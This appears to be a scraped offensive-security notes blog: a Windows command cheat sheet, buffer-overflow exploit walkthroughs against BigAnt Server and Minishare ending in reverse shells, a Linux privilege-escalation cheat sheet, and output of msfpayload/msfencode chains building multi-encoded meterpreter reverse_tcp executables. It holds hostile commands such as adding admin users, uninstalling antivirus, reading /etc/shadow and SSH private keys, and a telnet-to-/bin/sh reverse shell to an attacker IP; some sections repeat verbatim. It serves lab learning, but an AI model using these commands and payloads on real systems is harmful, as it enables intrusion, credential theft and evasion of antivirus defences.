Remotely determine logged in user:
wmic /node:remotecomputer computersystem get username
List running processes:
wmic process list brief
Kill a process:
wmic process where name="cmd.exe" delete
Determine open shares:
net share
wmic share list brief
Determine IP address:
ipconfig
Get a new IP address:
ipconfig /release
ipconfig /renew
Remotely display machine’s MAC address:
wmic /node:machinename nic get macaddress
Remotely list running processes every second:
wmic /node:machinename process list brief /every:1
Remotely display System Info:
wmic /node:machinename computersystem list full
Disk drive information:
wmic diskdrive list full
wmic partition list full
Bios info:
wmic bios list full
List all patches:
wmic qfe
Look for a particular patch:
wmic qfe where hotfixid="KB958644" list full
Remotely List Local Enabled Accounts:
wmic /node:machinename USERACCOUNT WHERE "Disabled=0 AND LocalAccount=1" GET Name
Start a service remotely:
wmic /node:machinename 4 service lanmanserver CALL Startservice
sc \\machinename start lanmanserver
List services:
wmic service list brief
sc \\machinename query
Disable startup service:
sc config example disabled
List user accounts:
wmic useraccount list brief
Enable RDP remotely:
wmic /node:"machinename 4" path Win32_TerminalServiceSetting where AllowTSConnections=“0” call SetAllowTSConnections “1”
List number of times a user logged on:
wmic netlogin where (name like "%adm%") get numberoflogons
Query active RDP sessions:
qwinsta /server:192.168.1.1
Remove active RDP session ID 2:
rwinsta /server:192.168.1.1 2
Remotely query registry for last logged in user:
reg query "\\computername\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultUserName
List all computers in domain “blah”:
dsquery computer "OU=example,DC=blah" -o rdn -limit 6000 > output.txt
Reboot:
shutdown /r /t 0
Shutdown:
shutdown /s /t 0
Remotely reboot machine:
shutdown /m \\192.168.1.1 /r /t 0 /f
Copy entire folder and its contents from a remote source to local machine:
xcopy /s \\remotecomputer\directory c:\local
Find location of file with string “blah” in file name:
dir c:\ /s /b | find "blah"
Spawn a new command prompt:
start cmd
Determine name of a machine with known IP:
nbtstat -A 192.168.1.1
Find directory named blah:
dir c:\ /s /b /ad | find "blah"
Command line history:
F7
Determine the current user (aka whoami Linux equivalent):
echo %USERNAME%
Determine who is apart of the administrators group:
net localgroup administrators
Add a user where bob is the username and password is blah:
net user bob blah /add
Add user bob to administrators group:
net localgroup administrators bob /add
List user accounts:
net user
Map a network share with a given drive letter of T:
net use T: \\serverNameOrIP\shareName
List network connections and the programs that are making those connections:
netstat -nba
Display contents of file text.txt:
type text.txt
Edit contents of file text.txt:
edit text.txt
Determine PC name:
hostname
Run cmd.exe as administrator user:
runas /user:administrator cmd
Uninstall a program, Symantec in this case ;-}:
wmic product where “description=’Symantec’ ” uninstall
Determine whether a system is 32 or 64 bit:
wmic cpu get DataWidth /format:list
Powershell one liner download file:
(new-object System.Net.WebClient).Downloadfile("http://example.com/file.txt", "C:\Users\bob\file.txt")
Information about OS version and other useful system information:
systeminformation
Startup applications:
wmic startup get caption,command
Recursively unzip all zip folders, you’ll need unzip.exe for this:
FOR /R %a (*.zip) do unzip -d unzipDir "%a"
This blogspot is a compilation of notes, tutorials, and Offensive Security methods. Mainly I am using this for a 'quick reference' of my notes and training. I do not lay claim to these exploits, I am merely recreating them to gain a better understanding of security issues and techniques.
Wednesday, February 27, 2013
Saturday, February 9, 2013
Buffer Overflow SEH Overwrite part 3
BigAnt Server 2.52
First the attacker enumerates machine's on the internet, using nmap etc... Attacker finds a machine running BigAnt Server 2.52. Second, after conducting more enumeration on the target machine the attacker sets up a test machine to mirror our target machine. In this situation I have used a Windows XP machine, set up as a virtual machine. Third, in this case I will refer to our test machine as 'victim' with an ip address of 172.16.94.133, the attacking machine will be known as 'attacker' with an ip address of 172.16.94.173.
Attach debugger to running process "AntServer.exe"
Skeleton exploit to send to the "victim" machine
Send skeleton exploit to the victim machine, and the debugger halt the execution flow of the program with an overwrite of the ESI register of A's, or as seen above in our skeleton exploit "\x41"
Still in the debugger go to view > seh chain. Notice our seh chain has been overwritten by all A's or "\x41" as well!
Go back to main window and select SHIFT + F9, and we pass the seh exception with an overwrite of EIP, again with all A's or "\x41"
On the attackers machine we generate a 2500 byte generic string using metasploit.
Add the generic string, we generated from metasploit, to out skeleton exploit. Resend the rewritten skeleton exploit.
This time ESI gets overwritten with a value of 6Cb7
Again go to view > seh chain. seh value 42326742
Using the above two values, 6Cb7 and 42326742, we can use metasploit to determine our 'offsets.'
Rewrite the skeleton exploit to reflect the new information. Resend.
The debugger will halt the execution flow of the program, SHIFT+F9 will pass the exception and overwrite EIP with the four A's or "\x41" * 4 as predicted in the above script.
Using a Windows DLL to overwrite the structured exception handler. Go to C:\WINDOWS\system32 and copy vbajet32.dll > to the metasploit DIR in the attacking machine. On the attacker machine run command "msfpescan -i vbajet32.dll" Reference the DLLCharacteristics, note the output
0x0000000 this means we can use this DLL to locate a seh overwrite address.
In the main debugger windows go to "E" in between L and M.on the main task bar of Ollydbg.
Click on the "E" button and double click on "vbajet32.dll" now right click and choose "Search for" > "Sequence of Commands" a pop up box will appear. Type into the box:
POP r32
POP r32
RETN
Press "Find"
Copy the POP POP RETN values.
Set a "breakpoint" on the POP POP RETN address, by pressing SHIFT +F2.
Rewrite the skeleton exploit to reflect the new information found. Restart Ollydbg and set breakpoint on 0F9A196A. Resend skeleton exploit.
We hit our breakpoint. Press SHIFT +F9. Notice we need to jump another 6 bytes to our NOP's. To do this we will use "\x90\x90\x06\xEB" will give us the additional 6 byte jump we need to hit our NOP sled then down to our shellcode .
Rewrite skeleton exploit to reflect out 6 byte jump to NOP's /with shellcode.
Set up netcat listener on port 443 and resend skeleton exploit. Resend exploit with no Debugger attached to running process on victim machine.
A quick "ipconfig" on the victim machine to confirm exploitation.
Now we have a working exploit to send across the internet to exploit the machine originally found in our enumeration phase.
First the attacker enumerates machine's on the internet, using nmap etc... Attacker finds a machine running BigAnt Server 2.52. Second, after conducting more enumeration on the target machine the attacker sets up a test machine to mirror our target machine. In this situation I have used a Windows XP machine, set up as a virtual machine. Third, in this case I will refer to our test machine as 'victim' with an ip address of 172.16.94.133, the attacking machine will be known as 'attacker' with an ip address of 172.16.94.173.
Attach debugger to running process "AntServer.exe"
Skeleton exploit to send to the "victim" machine
Send skeleton exploit to the victim machine, and the debugger halt the execution flow of the program with an overwrite of the ESI register of A's, or as seen above in our skeleton exploit "\x41"
Still in the debugger go to view > seh chain. Notice our seh chain has been overwritten by all A's or "\x41" as well!
Go back to main window and select SHIFT + F9, and we pass the seh exception with an overwrite of EIP, again with all A's or "\x41"
On the attackers machine we generate a 2500 byte generic string using metasploit.
Add the generic string, we generated from metasploit, to out skeleton exploit. Resend the rewritten skeleton exploit.
This time ESI gets overwritten with a value of 6Cb7
Again go to view > seh chain. seh value 42326742
Using the above two values, 6Cb7 and 42326742, we can use metasploit to determine our 'offsets.'
Rewrite the skeleton exploit to reflect the new information. Resend.
The debugger will halt the execution flow of the program, SHIFT+F9 will pass the exception and overwrite EIP with the four A's or "\x41" * 4 as predicted in the above script.
Using a Windows DLL to overwrite the structured exception handler. Go to C:\WINDOWS\system32 and copy vbajet32.dll > to the metasploit DIR in the attacking machine. On the attacker machine run command "msfpescan -i vbajet32.dll" Reference the DLLCharacteristics, note the output
0x0000000 this means we can use this DLL to locate a seh overwrite address.
In the main debugger windows go to "E" in between L and M.on the main task bar of Ollydbg.
Click on the "E" button and double click on "vbajet32.dll" now right click and choose "Search for" > "Sequence of Commands" a pop up box will appear. Type into the box:
POP r32
POP r32
RETN
Press "Find"
Copy the POP POP RETN values.
Set a "breakpoint" on the POP POP RETN address, by pressing SHIFT +F2.
Set up netcat listener on port 443 and resend skeleton exploit. Resend exploit with no Debugger attached to running process on victim machine.
A quick "ipconfig" on the victim machine to confirm exploitation.
Now we have a working exploit to send across the internet to exploit the machine originally found in our enumeration phase.
Wednesday, February 6, 2013
Fun backdooring Google-Chrome
*note: backdooring technique will be NOT be covered here!
After executing our exe file, Google-Chrome installs and is fully functional.
Attacking Machine:
Waiting on the attacking machine is a metasploit reverse listener on port 6666.
The ps command shows a list of running processes on the windows machine.
Notice the services running are running in no-update\victim state. This indicates I only have "user" privileges. We need to find a way to escalate our privs to an "admin" status.
Using metasploits local privilege escalation exploit, which bypasses UAC controls and escalates our privs to "admin."
Set options.
Now we can add ourselves as "admin" users, enable remote desktop, enumerate passwords on the system etc....
rooting a linux server part 1
http://download.vulnhub.com/vulnimage/vulnimage.zip
Gaining www-data access on a Linux server, using SQL authentication bypass, tamper data, and a php webshell trick.
Tuesday, February 5, 2013
Linux Priv Escalation
Full creds goes to g0tmi1k!!
http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation.html
Operating System
What's the distribution type? What version?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
What's the Kernel version? Is it 64-bit?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
What can be learnt from the environmental variables?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
Is there a printer?
lpstat -a
Applications & Services
What services are running? Which service has which user privilege?
ps aux
ps -ef
top
cat /etc/service
Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
ps aux | grep root
ps -ef | grep root
What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
What jobs are scheduled?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
Any plain text usernames and/or passwords?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
Communications & Networking
What NIC(s) does the system have? Is it connected to another network?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
What other users & hosts are communicating with the system?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
Whats cached? IP and/or MAC addresses
arp -e
route
/sbin/route -nee
Is packet sniffing possible? What can be seen? Listen to live traffic
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
Have you got a shell? Can you interact with the system?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!
Is port forwarding possible? Redirect and interact with traffic from another view
# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
Is tunnelling possible? Send commands locally, remotely
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
Confidential Information & Users
Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
id
who
w
last
cat /etc/passwd | cut -d: # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l
What sensitive files can be found?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
Anything "interesting" in the home directorie(s)? If it's possible to access
ls -ahlR /root/
ls -ahlR /home/
Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
What has the user being doing? Is there any password in plain text? What have they been edting?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
What user information can be found?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
Can private-key information be found?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
File Systems
Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
What can be found in /var/ ?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
Any settings/files (hidden) on website? Any settings file with database information?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
Is there anything in the log file(s) (Could help with "Local File Includes"!)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
If commands are limited, you break out of the "jail" shell?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
How are file-systems mounted?
mount
df -h
Are there any unmounted file-systems?
cat /etc/fstab
What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o+w -type d 2>/dev/null # world-writeable folders
find / -perm -o+x -type d 2>/dev/null # world-executable folders
find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # world-writeable & executable folders
Any "problem" files? Word-writeable, "nobody" files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
Preparation & Finding Exploit Code
What development tools/languages are installed/supported?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
How can files be uploaded?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
Finding exploit code
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com
Finding more information regarding the exploit
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]
(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk
http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
Mitigations
Is any of the above information easy to find?
Try doing it!
Setup a cron job which automates script(s) and/or 3rd party products
Is the system fully patched? Kernel, operating system, all applications, their plugins and web services
apt-get update && apt-get upgrade
yum update
Are services running with the minimum level of privileges required?
For example, do you need to run MySQL as root?
Scripts Can any of this be automated?!
http://pentestmonkey.net/tools/unix-privesc-check/
http://labs.portcullis.co.uk/application/enum4linux/
http://bastille-linux.sourceforge.net
Other (quick) guides & Links
Enumeration
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm
Misc
http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf
http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html
Thursday, January 24, 2013
Buffer Overflow Stack part 2b
Exploitation of Minishare 1.4.1
1. We need to develop a script to crash the server.
2. The attacker sends the Proof of Concept (POC) resulting in an overwrite of EIP on he victim machine.
3. Now to rewrite our POC, create a metasploit generic string. Always maintaining buffer length of 2220 bytes.
4. Rewrite POC to include our generic string.
5. Re-send our POC.
6. Observe the result on the victim machine.
7. Now we have the information required to determine our "offsets"
8. Rewrite our POC to include the new discoveries. Again maintaining buffer length of 2220 bytes.
9. Resend our POC, and try to overwrite EIP with "ASCII B's" or 42's
10. Great we control EIP! Now how to redirect the execution flow of the program, to execute code of our choosing?
By finding a relative jump to a system dll we can ensure that the program will execute our code (shellcode)
Fortunately for us Windows is so kind to include such a dll. Navigate to "SHELL32.dll" to find our jump to where we overwrite our buffer. In this case we will look for a "JMP ESP in SHELL32.dll"
11. Once we locate our JMP ESP in shell32.dll set a "breakpoint" on this register.
12. Rewrite POC to include new information.
13. Resend POC, and the debugger freezes the execution flow at our breakpoint jmp esp 7CA58265
14. Hit Shift+F9 to step through our breakpoint
15. This is the space where our shellcode may be executed. Let's try to generate shellcode using metasploit, include it into our POC and gain remote code execution over our victim machine.
16. Include this shellcode into our POC and resend it.
17. Before the Attacker sends the final exploit to the victim he sets up a netcat listener on port 443.
18. Finally the attacker is set to send the final exploit. This time he will not restart the debugger!
19. As expected our netcat listener recieves our return shellcode in the form of Administrator Windows Command prompt.
20. Victim Desktop
1. We need to develop a script to crash the server.
2. The attacker sends the Proof of Concept (POC) resulting in an overwrite of EIP on he victim machine.
3. Now to rewrite our POC, create a metasploit generic string. Always maintaining buffer length of 2220 bytes.
4. Rewrite POC to include our generic string.
5. Re-send our POC.
6. Observe the result on the victim machine.
7. Now we have the information required to determine our "offsets"
8. Rewrite our POC to include the new discoveries. Again maintaining buffer length of 2220 bytes.
9. Resend our POC, and try to overwrite EIP with "ASCII B's" or 42's
10. Great we control EIP! Now how to redirect the execution flow of the program, to execute code of our choosing?
By finding a relative jump to a system dll we can ensure that the program will execute our code (shellcode)
Fortunately for us Windows is so kind to include such a dll. Navigate to "SHELL32.dll" to find our jump to where we overwrite our buffer. In this case we will look for a "JMP ESP in SHELL32.dll"
11. Once we locate our JMP ESP in shell32.dll set a "breakpoint" on this register.
12. Rewrite POC to include new information.
13. Resend POC, and the debugger freezes the execution flow at our breakpoint jmp esp 7CA58265
14. Hit Shift+F9 to step through our breakpoint
15. This is the space where our shellcode may be executed. Let's try to generate shellcode using metasploit, include it into our POC and gain remote code execution over our victim machine.
16. Include this shellcode into our POC and resend it.
17. Before the Attacker sends the final exploit to the victim he sets up a netcat listener on port 443.
18. Finally the attacker is set to send the final exploit. This time he will not restart the debugger!
19. As expected our netcat listener recieves our return shellcode in the form of Administrator Windows Command prompt.
Monday, January 21, 2013
Buffer Overflow part 1: CPU Registers
If we want to master the Buffer Overflow technique, first we must have a
knowledge in CPU Register. Register is the part of the processor's
memory that can be accessed with a high speed and always used by
microprocessor as the medium to do its work.
5. ESP and EBP Register
"the quieter you become, the more you are able to hear..."
An x86 based CPU used 8 register : EAX, EBX, ECX, EDX, ESI, EDI, EBP,
and ESP. Each of them designed for a specific job that make the CPU
process the information efficiently.
1. EAX Register
Used to perform calculations and store the value returned from the
function call. Basic operations such ass add, subtract, and compare is
optimized in EAX Register. Special operations such as multiplication and
divide are done by EAX Register.
2. EDX Register
EDX is EAX Extension. Helping EAX to perform complex calculations.
3. ECX Register
Can also be called count register. Used to do looping operation.
4. ESI and EDI Register
Used by the looping that processing data. ESI used as the Source, while
EDI used to point to what location the result of the calculation will be
stored.
5. ESP and EBP Register
ESP stands for Extended Stack Pointer, and EBP stands for Extended Base
Pointer. These registers are used to control the calls from function and
stack operation. When this function called, the argument function will
be pushed into the stack and followed by the address of the sender.
While EBP register used to point the lower stack's call.
6. EBX Register
Is the only register that doesn't designed for a specific job. But this
register is used as the extra memory for the other registers.
7. EIP Register
EIP register is a register that contain the next instruction that will be executed by the processor. This is the most vulnerable parts of the register.
7. EIP Register
EIP register is a register that contain the next instruction that will be executed by the processor. This is the most vulnerable parts of the register.
"the quieter you become, the more you are able to hear..."
msf Encode
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode
-e x86/shikata_ga_nai -t exe > /root/Desktop/payload-1a.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
####################################################################################################
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode
-e x86/shikata_ga_nai -c 6 -t raw| msfencode -e x86/alpha_upper -c 3 -t raw| msfencode -e
x86/shikata_ga_nai -c 5 -t raw| msfencode -e x86/countdown -c 5 -t exe -o
/root/Desktop/payload-2a.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 452 (iteration=6)
[*] x86/alpha_upper succeeded with size 971 (iteration=1)
[*] x86/alpha_upper succeeded with size 2011 (iteration=2)
[*] x86/alpha_upper succeeded with size 4090 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 4119 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 4148 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 4177 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 4206 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 4235 (iteration=5)
[*] x86/countdown succeeded with size 4253 (iteration=1)
[*] x86/countdown succeeded with size 4271 (iteration=2)
[*] x86/countdown succeeded with size 4289 (iteration=3)
[*] x86/countdown succeeded with size 4307 (iteration=4)
[*] x86/countdown succeeded with size 4325 (iteration=5)
####################################################################################################
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode
-e x86/shikata_ga_nai -c 9 -t raw| msfencode -e x86/alpha_upper -c 5 -t raw| msfencode -e
x86/shikata_ga_nai -c 9 -t raw| msfencode -e x86/countdown -c 7 -t exe -o
/root/Desktop/payload-3a.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 452 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 479 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 506 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 533 (iteration=9)
[*] x86/alpha_upper succeeded with size 1134 (iteration=1)
[*] x86/alpha_upper succeeded with size 2337 (iteration=2)
[*] x86/alpha_upper succeeded with size 4743 (iteration=3)
[*] x86/alpha_upper succeeded with size 9555 (iteration=4)
[*] x86/alpha_upper succeeded with size 19179 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 19208 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 19237 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 19266 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 19295 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 19324 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 19353 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 19382 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 19411 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 19440 (iteration=9)
[*] x86/countdown succeeded with size 19458 (iteration=1)
[*] x86/countdown succeeded with size 19476 (iteration=2)
[*] x86/countdown succeeded with size 19494 (iteration=3)
[*] x86/countdown succeeded with size 19512 (iteration=4)
[*] x86/countdown succeeded with size 19530 (iteration=5)
[*] x86/countdown succeeded with size 19548 (iteration=6)
[*] x86/countdown succeeded with size 19566 (iteration=7)
####################################################################################################
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R| msfencode
-e x86/shikata_ga_nai -c 10 -t raw| msfencode -e x86/alpha_upper -c 6 -t raw| msfencode -e
x86/shikata_ga_nai -c 10 -t raw| msfencode -e x86/countdown -c 6 -t exe -o
/root/Desktop/payload-4a.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 452 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 479 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 506 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 533 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 560 (iteration=10)
[*] x86/alpha_upper succeeded with size 1188 (iteration=1)
[*] x86/alpha_upper succeeded with size 2445 (iteration=2)
[*] x86/alpha_upper succeeded with size 4959 (iteration=3)
[*] x86/alpha_upper succeeded with size 9987 (iteration=4)
[*] x86/alpha_upper succeeded with size 20042 (iteration=5)
[*] x86/alpha_upper succeeded with size 40153 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 40182 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 40211 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 40240 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 40269 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 40298 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 40327 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 40356 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 40385 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 40414 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 40443 (iteration=10)
[*] x86/countdown succeeded with size 40461 (iteration=1)
[*] x86/countdown succeeded with size 40479 (iteration=2)
